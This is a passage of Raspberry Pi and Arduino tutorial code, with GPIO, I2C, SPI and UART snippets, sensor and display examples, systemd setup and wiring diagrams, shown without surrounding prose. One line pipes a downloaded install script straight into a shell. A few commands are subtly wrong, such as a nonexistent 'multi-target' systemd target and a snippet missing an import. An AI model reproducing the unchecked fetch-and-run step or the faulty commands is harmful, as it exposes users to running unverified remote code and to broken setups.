    pullUpDnControl(BUTTON_PIN, PUD_UP);
    pinMode(LED_PIN, OUTPUT);

    printf("Press button to control LED. Ctrl+C to exit.\n");

    while (1) {
        if (digitalRead(BUTTON_PIN) == LOW) {
            digitalWrite(LED_PIN, HIGH);
        } else {
            digitalWrite(LED_PIN, LOW);
        }
        delay(10);
    }

    return 0;
}

#include <wiringPi.h>
#include <stdio.h>

#define PWM_PIN 1  // WiringPi pin 1 = BCM GPIO 18

int main(void) {
    wiringPiSetup();

    pinMode(PWM_PIN, PWM_OUTPUT);

    // Fade in and out
    while (1) {
        // Fade in
        for (int i = 0; i <= 1024; i++) {
            pwmWrite(PWM_PIN, i);
            delay(2);
        }

        // Fade out
        for (int i = 1024; i >= 0; i--) {
            pwmWrite(PWM_PIN, i);
            delay(2);
        }
    }

    return 0;
}

#include <pigpio.h>
#include <stdio.h>

#define LED_PIN 17

int main(void) {
    if (gpioInitialise() < 0) {
        printf("pigpio initialization failed\n");
        return 1;
    }

    gpioSetMode(LED_PIN, PI_OUTPUT);

    // Blink
    for (int i = 0; i < 10; i++) {
        gpioWrite(LED_PIN, 1);
        gpioDelay(500000);  // microseconds
        gpioWrite(LED_PIN, 0);
        gpioDelay(500000);
    }

    gpioTerminate();
    return 0;
}

gcc -o led led.c -lpigpio -lrt -lpthread
sudo ./led

# Enable via raspi-config
sudo raspi-config
# Interface Options -> I2C -> Yes

# Or edit config file
echo "dtparam=i2c_arm=on" | sudo tee -a /boot/config.txt
sudo reboot

# Install I2C tools
sudo apt install i2c-tools python3-smbus

# Detect I2C devices
i2cdetect -y 1

pip3 install smbus2

from smbus2 import SMBus
import time

# I2C address of device (e.g., 0x48 for ADS1115)
DEVICE_ADDRESS = 0x48

# I2C bus (1 for Pi 2/3/4, 0 for very old Pi)
bus = SMBus(1)

# Write byte
bus.write_byte_data(DEVICE_ADDRESS, 0x01, 0x00)

# Read byte
data = bus.read_byte_data(DEVICE_ADDRESS, 0x00)
print(f"Read: {data}")

# Read block of data
block = bus.read_i2c_block_data(DEVICE_ADDRESS, 0x00, 16)

bus.close()

pip3 install adafruit-circuitpython-ssd1306 pillow

import board
import busio
from PIL import Image, ImageDraw, ImageFont
import adafruit_ssd1306

# Create I2C bus
i2c = busio.I2C(board.SCL, board.SDA)

# Create display object (128x64 pixels)
display = adafruit_ssd1306.SSD1306_I2C(128, 64, i2c, addr=0x3C)

# Clear display
display.fill(0)
display.show()

# Create image
image = Image.new("1", (display.width, display.height))
draw = ImageDraw.Draw(image)

# Draw text
draw.text((0, 0), "Hello, Pi!", fill=255)
draw.rectangle((0, 20, 128, 40), outline=255, fill=0)

# Display image
display.image(image)
display.show()

# Enable via raspi-config
sudo raspi-config
# Interface Options -> SPI -> Yes

# Or edit config file
echo "dtparam=spi=on" | sudo tee -a /boot/config.txt
sudo reboot

# Install SPI tools
sudo apt install python3-spidev

import spidev
import time

# Create SPI object
spi = spidev.SpiDev()

# Open SPI bus 0, device (CS) 0
spi.open(0, 0)

# Set SPI speed and mode
spi.max_speed_hz = 1000000
spi.mode = 0

# Send and receive data
data_out = [0x01, 0x02, 0x03]
data_in = spi.xfer2(data_out)

print(f"Sent: {data_out}")
print(f"Received: {data_in}")

spi.close()

import spidev
import time

spi = spidev.SpiDev()
spi.open(0, 0)
spi.max_speed_hz = 1350000

def read_adc(channel):
    """Read MCP3008 ADC channel (0-7)"""
    if channel < 0 or channel > 7:
        return -1

    # MCP3008 protocol
    adc = spi.xfer2([1, (8 + channel) << 4, 0])
    data = ((adc[1] & 3) << 8) + adc[2]
    return data

try:
    while True:
        value = read_adc(0)
        voltage = (value * 3.3) / 1024
        print(f"ADC: {value}, Voltage: {voltage:.2f}V")
        time.sleep(0.5)
except KeyboardInterrupt:
    spi.close()

# Disable serial console
sudo raspi-config
# Interface Options -> Serial Port
# Login shell: No
# Serial port hardware: Yes

# Edit config
sudo nano /boot/config.txt
# Add: enable_uart=1

sudo reboot

# Install pyserial
pip3 install pyserial

import serial
import time

# Open serial port
ser = serial.Serial(
    port='/dev/serial0',  # or /dev/ttyAMA0
    baudrate=9600,
    parity=serial.PARITY_NONE,
    stopbits=serial.STOPBITS_ONE,
    bytesize=serial.EIGHTBITS,
    timeout=1
)

# Write data
ser.write(b'Hello UART\n')

# Read data
while True:
    if ser.in_waiting > 0:
        data = ser.readline()
        print(f"Received: {data.decode().strip()}")
    time.sleep(0.1)

ser.close()

# Edit config
echo "dtoverlay=w1-gpio" | sudo tee -a /boot/config.txt
sudo reboot

# Load modules
sudo modprobe w1-gpio
sudo modprobe w1-therm

# Find sensor
ls /sys/bus/w1/devices/
# Look for 28-xxxxxxxxxxxx

import time

def read_temp():
    """Read DS18B20 temperature sensor"""
    # Replace with your sensor ID
    device_file = '/sys/bus/w1/devices/28-xxxxxxxxxxxx/w1_slave'

    with open(device_file, 'r') as f:
        lines = f.readlines()

    # Check if read was successful
    if lines[0].strip()[-3:] != 'YES':
        return None

    # Extract temperature
    temp_pos = lines[1].find('t=')
    if temp_pos != -1:
        temp_string = lines[1][temp_pos+2:]
        temp_c = float(temp_string) / 1000.0
        return temp_c

    return None

while True:
    temp = read_temp()
    if temp is not None:
        print(f"Temperature: {temp:.2f}°C ({temp * 9/5 + 32:.2f}°F)")
    time.sleep(1)

from gpiozero import LED
from time import sleep

red = LED(17)
yellow = LED(27)
green = LED(22)

while True:
    green.on()
    sleep(3)
    green.off()

    yellow.on()
    sleep(1)
    yellow.off()

    red.on()
    sleep(3)
    red.off()

pip3 install adafruit-circuitpython-dht
sudo apt install libgpiod2

import time
import board
import adafruit_dht

# Initialize DHT22 sensor on GPIO 4
dht = adafruit_dht.DHT22(board.D4)

while True:
    try:
        temperature = dht.temperature
        humidity = dht.humidity

        print(f"Temp: {temperature:.1f}°C")
        print(f"Humidity: {humidity:.1f}%")
        print()

    except RuntimeError as e:
        print(f"Error: {e}")

    time.sleep(2)

pip3 install RPLCD smbus2

from RPLCD.i2c import CharLCD
import time

# Create LCD object (I2C address usually 0x27 or 0x3F)
lcd = CharLCD('PCF8574', 0x27, cols=16, rows=2)

lcd.clear()
lcd.write_string('Hello, World!')

time.sleep(2)

lcd.clear()
lcd.cursor_pos = (0, 0)
lcd.write_string('Line 1')
lcd.cursor_pos = (1, 0)
lcd.write_string('Line 2')

from gpiozero import MotionSensor, LED, Buzzer
from signal import pause
import datetime

pir = MotionSensor(4)
led = LED(17)
buzzer = Buzzer(27)

def motion_detected():
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"[{timestamp}] MOTION DETECTED!")
    led.on()
    buzzer.beep(on_time=0.1, off_time=0.1, n=5)

def motion_stopped():
    print("Motion stopped")
    led.off()

pir.when_motion = motion_detected
pir.when_no_motion = motion_stopped

print("PIR security system started...")
pause()

pip3 install flask

from flask import Flask, render_template, request
from gpiozero import LED

app = Flask(__name__)
led = LED(17)

@app.route('/')
def index():
    status = "ON" if led.is_lit else "OFF"
    return f'''
        <h1>Raspberry Pi LED Control</h1>
        <p>LED Status: {status}</p>
        <form method="post" action="/toggle">
            <button type="submit">Toggle LED</button>
        </form>
    '''

@app.route('/toggle', methods=['POST'])
def toggle():
    led.toggle()
    return index()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

from gpiozero import DistanceSensor
from time import sleep

sensor = DistanceSensor(echo=24, trigger=23, max_distance=4)

while True:
    distance = sensor.distance * 100  # Convert to cm
    print(f"Distance: {distance:.1f} cm")
    sleep(0.1)

from gpiozero import Servo
from time import sleep

servo = Servo(17)

# Move through positions
positions = [-1, -0.5, 0, 0.5, 1]  # -1 to 1

for pos in positions:
    servo.value = pos
    print(f"Position: {pos}")
    sleep(1)

# Sweep back and forth
while True:
    servo.min()
    sleep(1)
    servo.mid()
    sleep(1)
    servo.max()
    sleep(1)

from gpiozero import RGBLED
from time import sleep

rgb = RGBLED(red=17, green=27, blue=22)

# Predefined colors
rgb.red = 1      # Red
sleep(1)
rgb.green = 1    # Yellow (red + green)
sleep(1)
rgb.red = 0      # Green
sleep(1)
rgb.blue = 1     # Cyan (green + blue)
sleep(1)
rgb.green = 0    # Blue
sleep(1)
rgb.red = 1      # Magenta (red + blue)
sleep(1)

# Custom colors (RGB values 0-1)
rgb.color = (1, 0.5, 0)    # Orange
sleep(1)
rgb.color = (0.5, 0, 0.5)  # Purple

# Cycle through colors
while True:
    rgb.pulse(fade_in_time=1, fade_out_time=1, on_color=(1, 0, 0))
    sleep(2)

from gpiozero import RotaryEncoder
from signal import pause

encoder = RotaryEncoder(a=17, b=18, max_steps=100)

def rotated():
    print(f"Position: {encoder.steps}")

encoder.when_rotated = rotated

print("Rotate the encoder...")
pause()

pip3 install paho-mqtt

import paho.mqtt.client as mqtt
import time
import random

# MQTT broker settings
broker = "mqtt.eclipseprojects.io"
port = 1883
topic = "home/sensors/temperature"

client = mqtt.Client("RaspberryPi_Sensor")
client.connect(broker, port)

print(f"Publishing to {topic}...")

try:
    while True:
        # Simulate temperature reading
        temp = random.uniform(20.0, 30.0)

        message = f"{temp:.2f}"
        client.publish(topic, message)
        print(f"Published: {message}°C")

        time.sleep(5)
except KeyboardInterrupt:
    client.disconnect()

# Enable camera
sudo raspi-config
# Interface Options -> Camera -> Yes

# Install picamera2 (for Pi OS Bullseye+)
sudo apt install python3-picamera2

# Or legacy picamera
pip3 install picamera

from picamera2 import Picamera2
import time

camera = Picamera2()

# Configure camera
config = camera.create_still_configuration()
camera.configure(config)

# Start camera
camera.start()
time.sleep(2)  # Allow camera to adjust

# Capture image
camera.capture_file("photo.jpg")

camera.stop()
print("Photo saved!")

from picamera2 import Picamera2
from picamera2.encoders import H264Encoder

camera = Picamera2()
encoder = H264Encoder()

# Start recording
camera.start_recording(encoder, "video.h264")
time.sleep(10)  # Record for 10 seconds
camera.stop_recording()

# Create service file
sudo nano /etc/systemd/system/myproject.service

[Unit]
Description=My Raspberry Pi Project
After=network.target

[Service]
Type=simple
User=pi
WorkingDirectory=/home/pi/myproject
ExecStart=/usr/bin/python3 /home/pi/myproject/main.py
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target

# Enable and start service
sudo systemctl daemon-reload
sudo systemctl enable myproject.service
sudo systemctl start myproject.service

# Check status
sudo systemctl status myproject.service

# View logs
sudo journalctl -u myproject.service -f

# Check CPU temperature
vcgencmd measure_temp

# Check CPU frequency
vcgencmd measure_clock arm

# Monitor system resources
htop

# Overclock (edit /boot/config.txt)
# WARNING: May void warranty
over_voltage=6
arm_freq=2000

# Disable GUI for better performance
sudo systemctl set-default multi-target

# Re-enable GUI
sudo systemctl set-default graphical.target

# Backup SD card (on Linux host)
sudo dd if=/dev/sdX of=pi_backup.img bs=4M status=progress

# Compress backup
gzip pi_backup.img

# Restore backup
gunzip pi_backup.img.gz
sudo dd if=pi_backup.img of=/dev/sdX bs=4M status=progress

# Add user to gpio group
sudo usermod -a -G gpio pi
sudo reboot

# Check if enabled
ls /dev/i2c* /dev/spi*

# Re-enable
sudo raspi-config

# Scan networks
sudo iwlist wlan0 scan

# Restart networking
sudo systemctl restart networking

# Check status
ifconfig wlan0

# Check filesystem
sudo fsck /dev/mmcblk0p2

# Use quality SD cards (Class 10, A1/A2 rated)

# Check for undervoltage
vcgencmd get_throttled
# 0x0 = OK
# 0x50000 = Throttled due to undervoltage

# Use official 5V 3A power supply

                   Arduino Uno
                ┌─────────────┐
                │   USB       │
                ├─────────────┤
    RESET  [ ]──┤ RESET    A0 ├──[ ] Analog Input
    3.3V   [ ]──┤ 3V3      A1 ├──[ ] Analog Input
    5V     [ ]──┤ 5V       A2 ├──[ ] Analog Input
    GND    [ ]──┤ GND      A3 ├──[ ] Analog Input
    GND    [ ]──┤ GND      A4 ├──[ ] Analog Input (I2C SDA)
    VIN    [ ]──┤ VIN      A5 ├──[ ] Analog Input (I2C SCL)
                │             │
    D0/RX  [ ]──┤ 0        13 ├──[ ] D13/SCK (LED_BUILTIN)
    D1/TX  [ ]──┤ 1        12 ├──[ ] D12/MISO
    D2     [ ]──┤ 2        11 ├──[ ] D11~/MOSI
    D3~    [ ]──┤ 3        10 ├──[ ] D10~
    D4     [ ]──┤ 4         9 ├──[ ] D9~
    D5~    [ ]──┤ 5         8 ├──[ ] D8
    D6~    [ ]──┤ 6         7 ├──[ ] D7
                └─────────────┘

    ~ = PWM capable

# Download from arduino.cc
# Or use package manager (Linux)
sudo apt install arduino

# Or use Arduino CLI
curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | sh
arduino-cli core update-index
arduino-cli core install arduino:avr

pip install platformio
platformio init --board uno

void setup() {
    // Runs once when the board starts
    // Initialize pins, serial, libraries
}

void loop() {
    // Runs continuously after setup()
    // Main program logic goes here
}

// Blink the built-in LED
void setup() {
    pinMode(LED_BUILTIN, OUTPUT);  // Set pin 13 as output
}

void loop() {
    digitalWrite(LED_BUILTIN, HIGH);  // Turn LED on
    delay(1000);                       // Wait 1 second
    digitalWrite(LED_BUILTIN, LOW);   // Turn LED off
    delay(1000);                       // Wait 1 second
}

Arduino          Component
   13 ───────────┐
                 │
               ┌─┴─┐
               │LED│  Built-in LED
               └─┬─┘
                 │
   GND ──────────┘

// Boolean
bool flag = true;

// Integers
byte value = 255;           // 0-255 (8-bit unsigned)
int temperature = -40;      // -32768 to 32767 (16-bit signed)
unsigned int count = 65535; // 0-65535 (16-bit unsigned)
long distance = 1000000L;   // 32-bit signed
unsigned long time = millis();  // 32-bit unsigned

// Floating Point
float voltage = 3.3;        // 32-bit, ~7 digits precision
double precise = 3.14159;   // Same as float on Arduino

// Characters and Strings
char letter = 'A';
char message[] = "Hello";   // C-style string
String text = "World";      // Arduino String class

// Arrays
int readings[10];           // Array of 10 integers
int values[] = {1, 2, 3};  // Initialized array

// If-else
if (temperature > 30) {
    digitalWrite(FAN_PIN, HIGH);
} else if (temperature > 20) {
    analogWrite(FAN_PIN, 128);
} else {
    digitalWrite(FAN_PIN, LOW);
}

// Switch-case
switch (state) {
    case 0:
        // Do something
        break;
    case 1:
        // Do something else
        break;
    default:
        // Default action
        break;
}

// For loop
for (int i = 0; i < 10; i++) {
    Serial.println(i);
}

// While loop
while (digitalRead(BUTTON_PIN) == HIGH) {
    // Wait for button release
}

// Do-while loop
do {
    value = analogRead(A0);
} while (value < 512);

// Function declaration
int addNumbers(int a, int b);

void setup() {
    Serial.begin(9600);
    int result = addNumbers(5, 3);
    Serial.println(result);  // Prints 8
}

// Function definition
int addNumbers(int a, int b) {
    return a + b;
}

// Function with default parameters
void blinkLED(int pin, int times = 1, int delayTime = 500) {
    for (int i = 0; i < times; i++) {
        digitalWrite(pin, HIGH);
        delay(delayTime);
        digitalWrite(pin, LOW);
        delay(delayTime);
    }
}

void loop() {
    blinkLED(13);           // Blink once
    blinkLED(13, 3);        // Blink 3 times
    blinkLED(13, 5, 200);   // Blink 5 times with 200ms delay
}

pinMode(pin, mode);        // Configure pin: INPUT, OUTPUT, INPUT_PULLUP
digitalWrite(pin, value);  // Write HIGH or LOW
int value = digitalRead(pin);  // Read HIGH or LOW

// Simple LED control
const int LED_PIN = 9;

void setup() {
    pinMode(LED_PIN, OUTPUT);
}

void loop() {
    digitalWrite(LED_PIN, HIGH);
    delay(500);
    digitalWrite(LED_PIN, LOW);
    delay(500);
}

Arduino          Component
    9 ───────────┬─────────┐
                 │         │
               ┌─┴─┐     ┌─┴─┐
               │220│     │LED│
               │Ω  │     │ > │
               └─┬─┘     └─┬─┘
                 │         │
   GND ──────────┴─────────┘

const int BUTTON_PIN = 2;
const int LED_PIN = 13;

void setup() {
    pinMode(BUTTON_PIN, INPUT_PULLUP);  // Internal pull-up resistor
    pinMode(LED_PIN, OUTPUT);
}

void loop() {
    int buttonState = digitalRead(BUTTON_PIN);

    if (buttonState == LOW) {  // Button pressed (active LOW)
        digitalWrite(LED_PIN, HIGH);
    } else {
        digitalWrite(LED_PIN, LOW);
    }
}

Arduino          Button
    2 ────────┬────┬──┬──── 5V (optional if using INPUT_PULLUP)
              │    │  │
            ┌─┴─┐ ┌┴──┴┐
            │10k│ │BTN │
            │Ω  │ └────┘
            └─┬─┘    │
              │      │
   GND ───────┴──────┘

const int BUTTON_PIN = 2;
const int LED_PIN = 13;
const int DEBOUNCE_DELAY = 50;  // milliseconds

int lastButtonState = HIGH;
int buttonState = HIGH;
unsigned long lastDebounceTime = 0;
bool ledState = false;

void setup() {
    pinMode(BUTTON_PIN, INPUT_PULLUP);
    pinMode(LED_PIN, OUTPUT);
}

void loop() {
    int reading = digitalRead(BUTTON_PIN);

    // If the switch changed, due to noise or pressing
    if (reading != lastButtonState) {
        lastDebounceTime = millis();
    }

    if ((millis() - lastDebounceTime) > DEBOUNCE_DELAY) {
        // If the button state has changed
        if (reading != buttonState) {
            buttonState = reading;

            // Only toggle if the new button state is LOW (pressed)
            if (buttonState == LOW) {
                ledState = !ledState;
                digitalWrite(LED_PIN, ledState);
            }
        }
    }

    lastButtonState = reading;
}

analogRead(pin);  // Read analog value (0-1023)

const int POT_PIN = A0;
const int LED_PIN = 9;

void setup() {
    Serial.begin(9600);
    pinMode(LED_PIN, OUTPUT);
}

void loop() {
    int potValue = analogRead(POT_PIN);  // 0-1023

    // Convert to voltage (0-5V)
    float voltage = potValue * (5.0 / 1023.0);

    // Convert to LED brightness (0-255)
    int brightness = map(potValue, 0, 1023, 0, 255);

    Serial.print("Value: ");
    Serial.print(potValue);
    Serial.print(" Voltage: ");
    Serial.print(voltage);
    Serial.println("V");

    analogWrite(LED_PIN, brightness);
    delay(100);
}

Potentiometer       Arduino
     ┌────┐
  5V─┤1  3├─GND
     │    │
     │ 2  ├─A0 (wiper)
     └────┘

analogWrite(pin, value);  // PWM output (0-255)

const int LED_PIN = 9;  // Must be PWM pin (~)

void setup() {
    pinMode(LED_PIN, OUTPUT);
}

void loop() {
    // Fade in
    for (int brightness = 0; brightness <= 255; brightness++) {
        analogWrite(LED_PIN, brightness);
        delay(10);
    }

    // Fade out
    for (int brightness = 255; brightness >= 0; brightness--) {
        analogWrite(LED_PIN, brightness);
        delay(10);
    }
}

const int TEMP_PIN = A0;

void setup() {
    Serial.begin(9600);
}

void loop() {
    int reading = analogRead(TEMP_PIN);

    // Convert to voltage (0-5V)
    float voltage = reading * (5.0 / 1023.0);

    // Convert to temperature (LM35: 10mV per degree C)
    float temperatureC = voltage * 100.0;
    float temperatureF = (temperatureC * 9.0 / 5.0) + 32.0;

    Serial.print("Temperature: ");
    Serial.print(temperatureC);
    Serial.print("°C / ");
    Serial.print(temperatureF);
    Serial.println("°F");

    delay(1000);
}

LM35 Sensor         Arduino
    ┌────┐
 1 ─┤ VS ├─ 5V
    │    │
 2 ─┤Vout├─ A0
    │    │
 3 ─┤GND ├─ GND
    └────┘

Serial.begin(baudrate);        // Initialize serial (9600, 115200, etc.)
Serial.print(data);            // Print without newline
Serial.println(data);          // Print with newline
Serial.write(byte);            // Send raw byte
int available = Serial.available();  // Bytes available to read
char c = Serial.read();        // Read one byte
String line = Serial.readStringUntil('\n');  // Read until newline

void setup() {
    Serial.begin(9600);
    Serial.println("Arduino Ready!");
}

void loop() {
    int sensorValue = analogRead(A0);

    // Different formatting options
    Serial.print("Sensor: ");
    Serial.println(sensorValue);

    Serial.print("Hex: 0x");
    Serial.println(sensorValue, HEX);

    Serial.print("Binary: 0b");
    Serial.println(sensorValue, BIN);

    Serial.print("Float: ");
    float voltage = sensorValue * (5.0 / 1023.0);
    Serial.println(voltage, 2);  // 2 decimal places

    delay(1000);
}

String inputString = "";
bool stringComplete = false;

void setup() {
    Serial.begin(9600);
    inputString.reserve(200);  // Reserve space for efficiency
}

void loop() {
    // Check if data is available
    while (Serial.available()) {
        char inChar = (char)Serial.read();
        inputString += inChar;

        if (inChar == '\n') {
            stringComplete = true;
        }
    }

    // Process complete command
    if (stringComplete) {
        Serial.print("Received: ");
        Serial.println(inputString);

        // Process command
        if (inputString.startsWith("LED ON")) {
            digitalWrite(LED_BUILTIN, HIGH);
            Serial.println("LED turned ON");
        } else if (inputString.startsWith("LED OFF")) {
            digitalWrite(LED_BUILTIN, LOW);
            Serial.println("LED turned OFF");
        }

        // Clear the string
        inputString = "";
        stringComplete = false;
    }
}

#include <Wire.h>

void setup() {
    Wire.begin();  // Join I2C bus as master
}

void loop() {
    // Read from I2C device at address 0x68
    Wire.beginTransmission(0x68);
    Wire.write(0x00);  // Register address
    Wire.endTransmission();

    Wire.requestFrom(0x68, 1);  // Request 1 byte
    if (Wire.available()) {
        byte data = Wire.read();
    }
}

#include <SPI.h>

const int CS_PIN = 10;

void setup() {
    SPI.begin();
    pinMode(CS_PIN, OUTPUT);
    digitalWrite(CS_PIN, HIGH);
}

void loop() {
    digitalWrite(CS_PIN, LOW);   // Select device
    SPI.transfer(0xAB);          // Send byte
    byte received = SPI.transfer(0x00);  // Receive byte
    digitalWrite(CS_PIN, HIGH);  // Deselect device
}

#include <EEPROM.h>

void setup() {
    // Write byte to EEPROM
    EEPROM.write(0, 42);

    // Read byte from EEPROM
    byte value = EEPROM.read(0);

    // Update (only writes if different)
    EEPROM.update(0, 42);

    // Write/read other types
    int address = 0;
    float f = 3.14;
    EEPROM.put(address, f);
    EEPROM.get(address, f);
}

#include <Servo.h>

Servo myServo;
const int SERVO_PIN = 9;

void setup() {
    myServo.attach(SERVO_PIN);
}

void loop() {
    // Sweep from 0 to 180 degrees
    for (int pos = 0; pos <= 180; pos++) {
        myServo.write(pos);
        delay(15);
    }

    // Sweep back
    for (int pos = 180; pos >= 0; pos--) {
        myServo.write(pos);
        delay(15);
    }
}

Servo Motor         Arduino
    ┌────┐
 R ─┤Red ├─ 5V (or external)
 B ─┤Brn ├─ GND
 O ─┤Org ├─ Pin 9 (PWM)
    └────┘

#include <LiquidCrystal.h>

// RS, E, D4, D5, D6, D7
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);

void setup() {
    lcd.begin(16, 2);  // 16x2 LCD
    lcd.print("Hello, World!");
}

void loop() {
    lcd.setCursor(0, 1);  // Column 0, Row 1
    lcd.print(millis() / 1000);
    lcd.print("s");
    delay(100);
}

LCD 16x2            Arduino
VSS  ──────────────  GND
VDD  ──────────────  5V
V0   ──────────────  Potentiometer (contrast)
RS   ──────────────  12
RW   ──────────────  GND
E    ──────────────  11
D4   ──────────────  5
D5   ──────────────  4
D6   ──────────────  3
D7   ──────────────  2
A    ──────────────  5V (backlight)
K    ──────────────  GND

#include <DHT.h>

#define DHTPIN 2
#define DHTTYPE DHT11  // or DHT22

DHT dht(DHTPIN, DHTTYPE);

void setup() {
    Serial.begin(9600);
    dht.begin();
}

void loop() {
    float humidity = dht.readHumidity();
    float temperature = dht.readTemperature();  // Celsius
    float temperatureF = dht.readTemperature(true);  // Fahrenheit

    if (isnan(humidity) || isnan(temperature)) {
        Serial.println("Failed to read from DHT sensor!");
        return;
    }

    Serial.print("Humidity: ");
    Serial.print(humidity);
    Serial.print("% Temperature: ");
    Serial.print(temperature);
    Serial.println("°C");

    delay(2000);  // DHT11 minimum sampling period
}

const int RED_LED = 10;
const int YELLOW_LED = 9;
const int GREEN_LED = 8;

void setup() {
    pinMode(RED_LED, OUTPUT);
    pinMode(YELLOW_LED, OUTPUT);
    pinMode(GREEN_LED, OUTPUT);
}

void loop() {
    // Green light
    digitalWrite(GREEN_LED, HIGH);
    delay(5000);  // 5 seconds
    digitalWrite(GREEN_LED, LOW);

    // Yellow light
    digitalWrite(YELLOW_LED, HIGH);
    delay(2000);  // 2 seconds
    digitalWrite(YELLOW_LED, LOW);

    // Red light
    digitalWrite(RED_LED, HIGH);
    delay(5000);  // 5 seconds
    digitalWrite(RED_LED, LOW);
}

Arduino              LEDs
  10 ───┬───[220Ω]───[RED LED]───GND
        │
   9 ───┼───[220Ω]───[YEL LED]───GND
        │
   8 ───┴───[220Ω]───[GRN LED]───GND

const int TRIG_PIN = 9;
const int ECHO_PIN = 10;

void setup() {
    Serial.begin(9600);
    pinMode(TRIG_PIN, OUTPUT);
    pinMode(ECHO_PIN, INPUT);
}

void loop() {
    // Send ultrasonic pulse
    digitalWrite(TRIG_PIN, LOW);
    delayMicroseconds(2);
    digitalWrite(TRIG_PIN, HIGH);
    delayMicroseconds(10);
    digitalWrite(TRIG_PIN, LOW);

    // Measure echo duration
    long duration = pulseIn(ECHO_PIN, HIGH);

    // Calculate distance in cm
    // Speed of sound: 343 m/s = 0.0343 cm/µs
    // Distance = (duration / 2) * 0.0343
    float distance = duration * 0.0343 / 2;

    Serial.print("Distance: ");
    Serial.print(distance);
    Serial.println(" cm");

    delay(100);
}

HC-SR04             Arduino
 VCC ───────────────  5V
 Trig ──────────────  9
 Echo ──────────────  10
 GND ───────────────  GND

const int LDR_PIN = A0;
const int LED_PIN = 13;
const int THRESHOLD = 500;  // Adjust based on lighting

void setup() {
    Serial.begin(9600);
    pinMode(LED_PIN, OUTPUT);
}

void loop() {
    int lightLevel = analogRead(LDR_PIN);

    Serial.print("Light Level: ");
    Serial.println(lightLevel);

    if (lightLevel < THRESHOLD) {
        digitalWrite(LED_PIN, HIGH);  // Turn on LED when dark
    } else {
        digitalWrite(LED_PIN, LOW);   // Turn off LED when bright
    }

    delay(100);
}

         5V
          │
        ┌─┴─┐
        │LDR│ (Light Dependent Resistor)
        └─┬─┘
          ├────── A0
        ┌─┴─┐
        │10k│ (Pull-down resistor)
        │Ω  │
        └─┬─┘
          │
         GND

#include <DHT.h>

#define DHTPIN 2
#define DHTTYPE DHT11
#define FAN_PIN 9  // PWM pin for fan control

DHT dht(DHTPIN, DHTTYPE);

const float TEMP_MIN = 25.0;  // Start fan at 25°C
const float TEMP_MAX = 35.0;  // Full speed at 35°C

void setup() {
    Serial.begin(9600);
    pinMode(FAN_PIN, OUTPUT);
    dht.begin();
}

void loop() {
    float temperature = dht.readTemperature();

    if (isnan(temperature)) {
        Serial.println("Failed to read temperature!");
        return;
    }

    // Calculate fan speed (0-255)
    int fanSpeed = 0;
    if (temperature < TEMP_MIN) {
        fanSpeed = 0;
    } else if (temperature > TEMP_MAX) {
        fanSpeed = 255;
    } else {
        fanSpeed = map(temperature * 10, TEMP_MIN * 10, TEMP_MAX * 10, 0, 255);
    }

    analogWrite(FAN_PIN, fanSpeed);

    Serial.print("Temperature: ");
    Serial.print(temperature);
    Serial.print("°C Fan Speed: ");
    Serial.print((fanSpeed * 100) / 255);
    Serial.println("%");

    delay(2000);
}

#include <SD.h>
#include <SPI.h>

const int CS_PIN = 10;
const int SENSOR_PIN = A0;

File dataFile;

void setup() {
    Serial.begin(9600);

    // Initialize SD card
    if (!SD.begin(CS_PIN)) {
        Serial.println("SD card initialization failed!");
        return;
    }
    Serial.println("SD card initialized.");
}

void loop() {
    int sensorValue = analogRead(SENSOR_PIN);
    float voltage = sensorValue * (5.0 / 1023.0);

    // Open file for writing
    dataFile = SD.open("datalog.txt", FILE_WRITE);

    if (dataFile) {
        // Write timestamp and value
        dataFile.print(millis());
        dataFile.print(",");
        dataFile.println(voltage);
        dataFile.close();

        Serial.print("Logged: ");
        Serial.println(voltage);
    } else {
        Serial.println("Error opening file!");
    }

    delay(1000);  // Log every second
}

const int BUTTON_PIN = 2;  // Must be interrupt-capable pin
const int LED_PIN = 13;

volatile bool ledState = false;

void setup() {
    pinMode(BUTTON_PIN, INPUT_PULLUP);
    pinMode(LED_PIN, OUTPUT);

    // Attach interrupt: pin, ISR function, trigger mode
    attachInterrupt(digitalPinToInterrupt(BUTTON_PIN), buttonISR, FALLING);
}

void loop() {
    // Main loop can do other things
    // LED toggle happens immediately when button pressed
}

// Interrupt Service Routine (keep it short!)
void buttonISR() {
    ledState = !ledState;
    digitalWrite(LED_PIN, ledState);
}

unsigned long previousMillis = 0;
const long interval = 1000;  // 1 second

void setup() {
    pinMode(LED_BUILTIN, OUTPUT);
}

void loop() {
    unsigned long currentMillis = millis();

    // Non-blocking timing
    if (currentMillis - previousMillis >= interval) {
        previousMillis = currentMillis;

        // Toggle LED
        digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));
    }

    // Can do other things here
}

// Store strings in flash memory (PROGMEM)
const char message[] PROGMEM = "This string is stored in flash";

void setup() {
    Serial.begin(9600);

    // Read from flash memory
    char buffer[50];
    strcpy_P(buffer, message);
    Serial.println(buffer);
}

// Use F() macro for Serial.print
void loop() {
    Serial.println(F("This uses flash memory, not RAM"));
    delay(1000);
}

#include <avr/sleep.h>
#include <avr/power.h>

void setup() {
    pinMode(LED_BUILTIN, OUTPUT);
    pinMode(2, INPUT_PULLUP);

    // Enable interrupt for wake-up
    attachInterrupt(digitalPinToInterrupt(2), wakeUp, LOW);
}

void loop() {
    digitalWrite(LED_BUILTIN, HIGH);
    delay(1000);
    digitalWrite(LED_BUILTIN, LOW);

    // Enter sleep mode
    enterSleep();
}

void enterSleep() {
    set_sleep_mode(SLEEP_MODE_PWR_DOWN);
    sleep_enable();

    // Disable peripherals
    power_adc_disable();
    power_spi_disable();
    power_timer0_disable();
    power_timer1_disable();
    power_timer2_disable();
    power_twi_disable();

    sleep_mode();  // Sleep here

    // Wake up here
    sleep_disable();
    power_all_enable();
}

void wakeUp() {
    // ISR to wake up
}

// Bad: Blocking
void loop() {
    digitalWrite(LED1, HIGH);
    delay(1000);
    digitalWrite(LED2, HIGH);
    delay(500);
}

// Good: Non-blocking
unsigned long led1Time = 0;
unsigned long led2Time = 0;

void loop() {
    unsigned long now = millis();

    if (now - led1Time >= 1000) {
        digitalWrite(LED1, !digitalRead(LED1));
        led1Time = now;
    }

    if (now - led2Time >= 500) {
        digitalWrite(LED2, !digitalRead(LED2));
        led2Time = now;
    }
}

// Good: Easy to change and read
const int LED_PIN = 13;
